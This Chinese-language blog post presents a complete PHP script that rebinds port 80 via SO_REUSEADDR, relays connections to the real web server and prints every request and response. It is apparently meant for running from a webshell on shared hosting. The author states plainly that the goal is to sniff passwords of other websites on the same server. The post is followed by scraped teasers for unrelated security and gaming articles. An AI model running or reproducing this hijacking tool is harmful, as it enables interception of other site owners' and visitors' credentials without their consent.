探索用php来实现数据的劫持和转发
前几天刺在我们的maillist发了一个老外写的文章,大意是可以用php来实现数据的劫持和转发。我瞄了一下,确实可行,于是今天抽出了以前用来扯淡的时间,写了段代码验证了一下想法。
其实关于这个的原理,我记得很早很早之前flashsky就在xfocus上面贴过通过SO_REUSEADDR实现端口重复绑定的,mix还写过一个 guest权限嗅探密码的。我这里比较不同的是用php实现的,可以在webshell里面用,当然我没有测试过,我没shell。
需要注意的是,这个东西和以前的《PHP下实现端口复用/劫持》是完全不一样的,那个文章可以在这里找到:http://www.west999.com/info/html/wangluobiancheng/Phpbiancheng/20080224/22439.html。至于为什么不一样,我就不说了。
代码我注释得很详细,个人觉得写得还不错,不细说。这里大概说一下技术上的难点。首先是在web里面,没有多线程也没有多进程,但是每一个新连接进来就要去处理,应该怎么做?显然不能顺序执行,因为光accept那里就会被阻塞住的,而且后面每一个session也需要分别处理的。还好查手册发现经典的socket_select函数可用,有这个就好说了,专业实现多路复用的。
PHP代码如下,有详细注释。blog贴的,所以代码可能会掉些东西,其他的支持我就不提供了,看代码:
class select
{
var $sockets;
// 构造函数
function select($sockets)
{
$this->sockets = array();
foreach($sockets as $socket)
{
$this->add($socket);
}
}
function add($add_socket)
{
//array_push($this->sockets, $add_socket);
$this->sockets[] = $add_socket;
}
// 利用临时数组来删除数组中的元素
function remove($remove_socket)
{
$tmp_sockets = array();
foreach($this->sockets as $socket)
{
if($remove_socket != $socket)
{
$tmp_sockets[] = $socket;
}
}
$this->sockets = $tmp_sockets;
}
// 检查socket数组是否可读,传入超时时间,返回socket数组
function can_read($timeout)
{
$read = $this->sockets;
socket_select( $read, $write = NULL, $except = NULL, $timeout );
return $read;
}
// 检查socket数组是否可写,传入超时时间,返回socket数组
function can_write($timeout)
{
$write = $this->sockets;
socket_select( $read = NULL, $write, $except = NULL, $timeout );
return $write;
}
}
// 网页不超时
set_time_limit(0);
// 即时输出数据,不缓冲
ob_end_clean();
ob_implicit_flush(true);
if( !isset($_GET["listen_ip"]) )
{
exit;
}
if( $_GET["listen_ip"] == "" )
{
exit;
}
$listen_ip = $_GET["listen_ip"];
$listen_port = 80;
// 建立socket
$listen_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
// 设置重复绑定
socket_set_option($listen_sock, SOL_SOCKET, SO_REUSEADDR, 1);
// 明确指定绑定IP地址,优先获取数据
socket_bind($listen_sock, $listen_ip, $listen_port);
// 开始监听
socket_listen ($listen_sock);
echo "listen on ".htmlentities($listen_ip)." :".$listen_port."
";
// 创建socket数组,使用select来轮询
$check_socks = array($listen_sock);
// 映射客户端socket和服务端socket
// $socket_maps1将客户端socket作为key
// $socket_maps2将服务端socket作为key
// 以内存换速度,并且方便下面的搜索
$socket_maps1 = array( );
$socket_maps2 = array( );
// 实例化select类
$select = new select( $check_socks );
while(true)
{
// select轮询,超时2秒
foreach ($select->can_read(1) as $socket)
{
// listen_sock可读,说明有人连接上来了
if( $socket == $listen_sock )
{
// 接受新连接,并加入到轮训数组
$new_client = socket_accept($listen_sock);
$select->add($new_client);
socket_getpeername($new_client, $ip, $port);
echo "New client connected: $ip, $port
";
// 建立到真实服务器的socket
$server_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($server_sock,"127.0.0.1", $listen_port);
// 建立真实服务器socket和真实客户端socket之间的映射关系
$socket_maps1[$new_client] = $server_sock;
$socket_maps2[$server_sock] = $new_client;
// 添加到select轮询中
$select->add($server_sock);
// $listen_sock的可读数据是因为有新连接,已经处理了。暂时去掉,因为下面开始处理数据转发
//select->remove( $listen_sock );
}
// 其他socket可读,表示有数据需要中转
else
{
// 读取数据,失败则从轮询socket中删除,并关闭socket
$client_data = @socket_read($socket, 1024, PHP_NORMAL_READ);
if ($client_data === false)
{
socket_close( $socket );
$select->remove( $socket );
echo "client disconnected.
";
continue;
}
// 如果socket在$socket_maps1的key中,说明是从客户端读到了数据
if( in_array( $socket, array_keys($socket_maps1)) )
{
//echo "readed from client.
";
if( ! socket_write( $socket_maps1[$socket], $client_data ) )
{
socket_close( $socket );
socket_close( $socket_maps1[$socket] );
$select->remove( $socket );
$select->remove( $socket_maps1[$socket] );
print "Write to server error.
";
}
print htmlentities($client_data)."
";
}
// 否则如果socket在$socket_maps2的key中,说明是从真正的web服务器读到了数据
elseif( in_array( $socket, array_keys($socket_maps2) ) )
{
//echo "readed from server.
";
if( ! socket_write( $socket_maps2[$socket], $client_data ) )
{
socket_close( $socket );
socket_close( $socket_maps2[$socket] );
$select->remove( $socket );
$select->remove( $socket_maps2[$socket] );
print "Write to client error.
";
}
print htmlentities($client_data)."
";
}
}
}
}
?>
这个东西有什么作用?自由发挥。也许你有一个webshell,但是却想知道同一个服务器上面别人网站的密码……我是在windows xp+apache测试的,据我所知windows2003默认已经不准重复绑定端口了。
防御session fixation攻击的代码是什么?
最近笔者在网上看到一个新文章《JSESSIONID Regeneration in Struts 2》,讲的是一段代码,在STRUTS 2框架中,防御Session Fixation攻击。笔者比较老土,看不懂英文,还好能看懂代码,发现这是一种平时开发
详情2018-02-07 18:54:09责编:llp 来源:驱动管家sql语句怎么导出?又怎么导入?
SQL全称是“结构化查询语言(Structured Query Language)”,最早的是IBM的圣约瑟研究实验室为其关系数据库管理系统SYSTEM R开发的一种查询语言,它的前身是SQUARE语言。sql语句怎么导出?又怎么导入? *******
详情2018-01-17 18:08:02责编:llp 来源:驱动管家什么是正向连接木马?什么是反弹连接木马?
目前常见的木马有三种 正向连接木马 反弹连接木马 收信木马正向连接木马,所谓正向,就是在中马者在机器上开个端口,而我们去连接他的端口。而我们要知道他的IP,才能够连接他。123就是他机器上开的端口由于到
详情2018-02-14 08:51:30责编:llp 来源:驱动管家如何通过135端口入侵网站?135端口入侵的方法大揭秘
协议并提供DCOM(分布式组件对象模型)服务,通过RPC可以保证在一台计算机上运行的程序可以顺利地 执行远程计算机上的代码;
详情2018-01-05 10:48:26责编:llp 来源:驱动管家360浏览器的优点 360浏览器有什么漏洞?
产品官方:360安全浏览器是全球首款采用“沙箱”技术的浏览器,能够彻底避免木马病毒从网页上对你的计算机发起攻击。360安全浏览器完全突破了传统的以查杀、拦截为核心的安全思路,在计算机系统内部构造了一个独
详情2018-01-16 17:30:23责编:llp 来源:驱动管家dedecms教程 怎么防止dedecms广告里带php脚本并写入文件?
dedecms广告内容没有做限制,可以输入脚本信息,并写入文件,导致木马植入!此补丁,是防止广告里带PHP脚本并写入文件!核心代码:ad_js php复制代码代码如下: 禁止写入和PHP脚本有关字符信息 =================
详情2018-01-13 12:29:43责编:llp 来源:驱动管家大蜘蛛杀毒软件怎么卸载?大蜘蛛杀毒软件的卸载方法
Dr Web大蜘蛛反病毒2008专业版,在软件程序设计的又如何呢,我们今天来检查一下它的卸载过程。
详情2018-01-04 10:30:53责编:llp 来源:驱动管家sqlmap用户手册 sqlmap支持的数据库有哪些?
当给sqlmap这么一个url的时候,它会:1、判断可注入的参数2、判断可以用那种SQL注入技术来注入3、识别出哪种数据库4、根据用户选择,读取哪些数据sqlmap支持五种不同的注入模式:1、基于布尔的盲注,即可以根据返
详情2018-01-23 12:42:46责编:llp 来源:驱动管家怎么提升服务器安全等级?这里有安全十五招
安全十五招,具体介绍请看下文。1 经常更改系统管理员密码。---->且密码最好是大小写都有2 定期更新系统补丁。---->开启自动更新,并设定到晚上重启。3 检查系统是否多出超级管理员,检查是否有帐号被克隆在“开
详情2018-01-25 15:29:57责编:llp 来源:驱动管家quicktime播放器存在缓冲区溢出漏洞怎么修复?
受影响系统:Apple QuickTime Player < 7 4不受影响系统:Apple QuickTime Player 7 4Apple QuickTime是一款非常流行的多媒体播放器。QuickTime在处理压缩的PICT图形时存在缓冲区溢出漏洞,如果用户受骗
详情2018-01-28 11:40:20责编:llp 来源:驱动管家
- asp木马核心技术是什么?常用的asp木马软件有哪些?
- .php文件被apache服务器解析成php文件的问题如何解决?
- 黑客如何踩点?黑客踩点用了哪些技术?
- 黑客基础知识 黑客实战演练
- 如何最小化你的日志?工具与数据的隐藏方法
- 【游戏攻略】《绝地求生》Mini14到底好不好用?Mini14性能分析及配件介绍
- 笔记本连接无线网络老是掉线 有什么解决方法?
- Win7系统打开游戏 提示“检测到与仿真程序有冲突” 怎么解决?
- 不想电脑中毒怎么做?用users组用户修改注册表的方法
- 苹果笔记本安装双系统后找不到驱动怎么办?千万别急着做格式化
- Ubuntu系统能不能安装显卡驱动?安装后怎么切换Nvidia双显卡驱动
- 腾讯两大《绝地求生》手游实测 正版“吃鸡”谁更好玩
- csrf漏洞现状 csrf攻击的思想
- 攻击个人主机的步骤是什么?网络攻击的原理和手法
- pstools是怎么用的?psinfo的使用教程
- 查找linux系统入侵证据的步骤,从这几方面下手
- 怎么设置默认浏览器?win8.1修改默认浏览器的方法
- 麦克风设置容易出现的问题有哪些?怎么处理
- web攻击的漏洞有哪些?如何保护web网关,阻止恶意软件?
- ubuntu系统下怎么用vsftp搭建ftp服务器?ftp服务器设置方法